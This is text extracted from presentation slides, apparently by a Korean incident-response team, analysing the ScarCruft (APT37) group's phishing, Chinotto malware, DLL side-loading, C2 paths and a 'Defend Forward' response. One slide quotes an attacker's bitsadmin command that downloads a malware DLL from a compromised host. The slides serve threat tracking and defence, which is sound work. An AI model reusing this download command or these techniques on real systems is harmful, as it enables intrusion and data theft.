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AGENDA

Who are we?

Defend Forward

What is ScarCruft?
Threat Tracking



Profound Analysis Team

Identify and respond to threats by analyzing cyber incidents 
to minimize and prevent damage to cyber incidents

Who are we?



Threat Hunting Life cycle

고위험침해사고선별, 집중분석

Hunting

Analyzing ( system) Analyzing ( Analyst) 

Result

VirusTotal

HUMINT

Inteligence

Yara Rule

Sigma Rule

Report

FENS

Sandbox

Network

Malware 

Incident Response

Who are we?



Target :

Journalists
North Korean defectors
Goverment Officials

What is ScarCruft ? 

malpedia.caad.fkie.fraunhofer.de/actor/apt37

aka:

APT 37, Group123
Ricochet Chollima, Venus121



21.11 ~ 
ScarCruft Group 

Threat Tracking & Defend Forward

What is ScarCruft ? 
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Infosteal

Known TTPs
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/cjdc/proc.phphttp://{C2}/bbs/data



Victim PC info

Command & Control

DESKTOP-Name-first

Known TTPs
’21 ~ ’22 2/4

Command & Control/comb/price.phphttp://{C2}/bbs/data



add compromised host analysis 
& unexposed TTPs



[compromised host]/kcp/cfg/cat/hp/proc.php

exfiltrated data

Compromising host analysis 



Compromising host analysis 



Ultra VNC Server

UltraVNC.ini

Chinotto Malware

Mobile infostealer

Compromising host analysis 

Command & Control (Golang ably)



a.ini - UltraVNC setting file
b.ini - UltraVNC Server Property Page

Compromising host analysis 



PDB Path: 

E:\4.Work\PROJECT\windows\Plugin_CKUP\Plugin_CKUP\Release\Plugin_CKUP.pdb
E:\4.Work\PROJECT\windows\Plugin_CKU\Plugin_CKU\x64\Release\Plugin_CKU.pdb

Compromising host analysis 



PDB Path : 

E:\4.Work\PROJECT\windows\Plugin_Phone\Plugin_Phone\Release\Plugin_Phone.pdb

Compromising host analysis 



Victim investigation



Command Line: 

"C:\WINDOWS\system32\cmd.exe" /c "bitsadmin /transfer mmm
[compromised host]/xe/files/attach/images/555/[malware].dll c:\users\pubilc\libraries\evc.dll”

Path:
C:\Windows\System32\cmd.exe

Victim investigation



msinfo32.exe

Load DLL(DLL Side-Loading)

mfc42u.dll

evc.dll Chinotto

Load DLL(Chinotto)

Loader

Luncher

Victim investigation
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E-mail Attachment link Click 
&

load Office Macro Script

Command Control

Chinotto

Information Collection 
& exfiltration

compromise host A

compromise host B

Download Office Document

Download Malicious Script

compromise host C

Decoy document

>_

Phone

Golang Maware & PowerShell 
BITSAdmin
DLL Side-Loading

CHM

add exposed TTP



Defend Forward



Defend Forward는국가가지원하는적의증가하는속도와
정교함에대응하여미국방부가개발한개념입니다.
이는공격적인사고방식으로방어하고, 악의적인사이버활동을
초기단계에서선제적으로방해하거나중지하며, 적의비용을
증가시키는것을의미합니다.이것이우리가공격자와싸우고
적의이점을역전시키는방법입니다.

Defend Forward

https://media.defense.gov/2018/Sep/18/2002041658/-1/-1/1/CYBER_STRATEGY_SUMMARY_FINAL.PDF


Phishing Mail

E-mail Attachment link Click 
&

load Office Macro Script

Command Control

Chinotto

Information Collection 
& exfiltration

compromise host A

compromise host B

Download Office Document

Download Malicious Script

compromise host C

Decoy document

>_

Phone

Golang Maware & PowerShell 
BITSAdmin
DLL Side-Loading

CHM

Defend Forward



Golang Maware & PowerShell 
BITSAdmin
DLL Side-Loading
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Golang Maware
Attacker’s Chanel

Ably

Ably key + Client Hello

Command 

Command Result

Defend Forward



Golang Maware Attacker’s Chanel
Ably

Client Hello

Command 

Command Result

Client Hello

Command 

Get Attacker’s Ably KEY

Command Result 

Identify victims and Incident Response

distribution site Takedown

Defend Forward
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명령조정지, 다운로드지차단 / 조치 재발방치대책마련

침해사고대응프로세스

악성코드 / 침해사고신고

침해사고조사악성코드분석

C2 모니터링? 위협추적 추가피해자식별

보고서, 탐지룰

Defend Forward



THANK YOU


